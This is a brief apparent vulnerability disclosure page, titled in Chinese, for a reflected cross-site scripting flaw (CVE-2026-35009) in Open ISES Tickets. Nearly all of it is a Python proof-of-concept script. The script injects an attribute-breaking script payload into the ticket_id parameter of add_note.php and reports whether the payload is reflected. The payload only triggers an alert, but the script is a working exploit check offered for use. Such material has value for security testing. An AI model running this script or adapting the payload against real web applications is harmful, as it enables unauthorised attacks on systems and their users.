CVE-2026-35009 Open ISES Tickets反射型XSS漏洞

import requests # Target URL (Replace with actual target) target_url = "http://target_ip/path/to/add_note.php" # Malicious payload designed to break out of the hidden input value attribute # and inject a script tag or event handler. # This payload attempts to close the value attribute and inject a script. payload = '"><script>alert(1)</script>' # Send GET request with the crafted ticket_id parameter # Note: This vulnerability requires authentication (PR:L) response = requests.get(target_url, params={"ticket_id": payload}) # Check if the payload is reflected in the response if payload in response.text: print("[+] Vulnerability confirmed! Payload reflected in response.") else: print("[-] Payload not reflected or vulnerability patched.")